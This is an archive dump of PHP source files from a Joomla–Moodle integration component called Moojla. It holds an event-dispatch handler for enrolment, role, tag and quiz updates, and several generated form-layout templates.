// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
$results =
$dispatcher->trigger("onEnrolmentMethodDeleted",
array($data));
echo json_encode($results); // output
break;
case "onMoojlaRoleAssigned":
$filename = __DIR__ . "/onMoojlaRoleAssigned.txt";
$postArray = json_decode($_POST["data"], true);
$course_id = $postArray["course_id"];
$user_id = $postArray["userid"];
$roleid = $postArray["roleid"];
// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$results = $dispatcher->trigger("addGroupMember",
array($course_id, $user_id, $roleid));
// file_put_contents($filename, "results =
".print_r($results, true)."\n", FILE_APPEND);
echo json_encode($results); // output
break;
case "onMoojlaRoleUnassigned":
$filename = __DIR__ . "/onMoojlaRoleUnassigned.txt";
$postArray = json_decode($_POST["data"], true);
$course_id = $postArray["course_id"];
$user_id = $postArray["userid"];
$roleid = $postArray["roleid"];
// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$results = $dispatcher->trigger("removeGroupMember",
array($course_id, $user_id, $roleid));
echo json_encode($results); // output
break;
case "onMoojlaTagAdded":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$filename = __DIR__ . "/onMoojlaTagAdded.txt";
$postArray = json_decode($_POST["data"], true);
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
$data = $postArray["data"];
$course_id = $data['itemid'];
$tag_id = $data['tagid'];
$tag_name = $data['tagname'];
$is_standard = $data['isstandard'];
$results = $dispatcher->trigger("onMoojlaTagAdded",
array($course_id, $tag_id, $tag_name, $is_standard));
echo json_encode($results); // output
break;
case "onMoojlaTagRemoved":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$filename = __DIR__ . "/onMoojlaTagRemoved.txt";
$postArray = json_decode($_POST["data"], true);
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
$data = $postArray["data"];
$course_id = $data['itemid'];
$tag_id = $data['tagid'];
$tag_name = $data['tagname'];
$results = $dispatcher->trigger("onMoojlaTagRemoved",
array($course_id, $tag_id, $tag_name));
echo json_encode($results); // output
break;
case "onMoojlaTagUpdated":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$filename = __DIR__ . "/onMoojlaTagUpdated.txt";
$postArray = json_decode($_POST["data"], true);
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
$data = $postArray["data"];
$tag_id = $data['tagid'];
$tag_name = $data['tagname'];
$is_standard = $data['isstandard'];
$results = $dispatcher->trigger("onMoojlaTagUpdated",
array($tag_id, $tag_name, $is_standard));
echo json_encode($results); // output
break;
case "onMoojlaTagDeleted":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$filename = __DIR__ . "/onMoojlaTagDeleted.txt";
$postArray = json_decode($_POST["data"], true);
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
$data = $postArray["data"];
$tag_id = $data['tagid'];
$results = $dispatcher->trigger("onMoojlaTagDeleted",
array($tag_id));
echo json_encode($results); // output
break;
case "onMoojlaEnrolled":
$filename = __DIR__ . "/onMoojlaEnrolled.txt";
$postArray = json_decode($_POST["data"], true);
$course_id = $postArray["course_id"];
$user_id = $postArray["userid"];
$roleid = $postArray["roleid"];
$timecreated = $postArray["timecreated"];
file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$results = $dispatcher->trigger("addEnrolment",
array($course_id, $user_id, $roleid, $timecreated));
// file_put_contents($filename, "results =
".print_r($results, true)."\n", FILE_APPEND);
echo json_encode($results); // output
JPluginHelper::importPlugin("notifly");
$dispatcher = JEventDispatcher::getInstance();
$args = array('com_moojla.enrol', $postArray, true);
$dispatcher->trigger("onContentAfterSave", $args);
break;
case "onMoojlaUnenrolled":
$filename = __DIR__ . "/onMoojlaUnenrolled.txt";
$postArray = json_decode($_POST["data"], true);
$course_id = $postArray["course_id"];
$user_id = $postArray["userid"];
$roleid = $postArray["roleid"];
// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$results = $dispatcher->trigger("removeEnrolment",
array($course_id, $user_id, $roleid));
echo json_encode($results); // output
break;
case "onMoojlaCourseCategoryCreated":
$filename = __DIR__ . "/onMoojlaCourseCategoryCreated.txt";
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$filename = __DIR__ . "/onMoojlaCourseCreated.txt";
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
$results =
$dispatcher->trigger("createCourseCategoryWithParents",
array($postArray));
echo json_encode($results); // output
break;
case "onMoojlaCourseCategoryUpdated":
$filename = __DIR__ . "/onMoojlaCourseCategoryUpdated.txt";
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
$results = $dispatcher->trigger("updateCourseCategory",
array($postArray));
echo json_encode($results); // output
break;
case "onMoojlaSubmitted":
$filename = __DIR__ . "/onMoojlaSubmitted.txt";
JPluginHelper::importPlugin("moojlaquiz");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"])->data;
$quizid = $postArray->quizid;
$quiztype = $postArray->quiztype;
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
if(is_array($postArray->result) &&
!empty($postArray->result))
{
$result = $postArray->result[0];
$dispatcher->trigger("addQuizAttempt", array($quiztype,
$result, $quizid));
}
// echo json_encode($results); // output
break;
default: //onMoojlaEnrolInstanceDeleted
$filename = __DIR__ . "/switch_result.txt";
// file_put_contents($filename, "moojlaFunction =
$moojlaFunction\n", FILE_APPEND);
}
}
?>layouts/batchselection.php000064400000004770151165724400011761
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage batchselection.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('JPATH_BASE') or die;
JHtmlBehavior::core();
$divWrapper = range(1,120,2);
$counter = 0;
?>
<?php if ($displayData->ListSelection) : ?>
<div class="row-fluid">
<?php foreach ($displayData->ListSelection as $ListSelection) :
?>
<div class="control-group span6">
<div class="controls">
<label for="<?php echo $ListSelection['name'];
?>" class="element-invisible"><?php echo
$ListSelection['label']; ?></label>
<select name="<?php echo $ListSelection['name'];
?>" id="<?php echo $ListSelection['name'];
?>" class="span12 small">
<?php if (!$ListSelection['noDefault']) : ?>
<option value=""><?php echo
$ListSelection['label']; ?></option>
<?php endif; ?>
<?php echo $ListSelection['options']; ?>
</select>
</div>
</div>
<?php if (in_array($counter,$divWrapper)) : ?>
</div>
<div class="row-fluid">
<?php endif; ?>
<?php $counter++; ?>
<?php endforeach; ?>
</div>
<div class="control-group radio"
id="batch-move-copy">
<div class="controls">
<label class="radio"
id="batch[move_copy]c-lbl" for="batch[move_copy]c">
<input type="radio" value="c"
id="batch[move_copy]c"
name="batch[move_copy]"><?php echo
JText::_('Copy'); ?></label>
<label class="radio"
id="batch[move_copy]m-lbl" for="batch[move_copy]m">
<input type="radio" checked="checked"
value="m" id="batch[move_copy]m"
name="batch[move_copy]"><?php echo
JText::_('Update'); ?></label>
</div>
</div>
<?php endif;
?>layouts/category_map/details_left.php000064400000004272151165724400014100
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'jcatid'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/category_map/details_right.php000064400000004273151165724400014264
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'mcatid'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/category_map/index.html000064400000000054151165724400012717
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/category_map/publishing.php000064400000004357151165724400013611
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/category_map/publlshing.php000064400000004344151165724400013610
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/cohort/details_left.php000064400000004273151165724400012725
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'mcohort'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/cohort/details_right.php000064400000004301151165724400013100
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'course_group'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/cohort/index.html000064400000000054151165724400011543
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/cohort/publishing.php000064400000004357151165724400012435
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/cohort/publlshing.php000064400000004344151165724400012434
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/content/details_left.php000064400000004413151165724400013075
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'contents_module_id',
'fileurl',
'filesize',
'mimetype',
'type',
'filename',
'file'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/content/index.html000064400000000054151165724400011717
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/content/publishing.php000064400000004357151165724400012611
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/content/publlshing.php000064400000004344151165724400012610
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
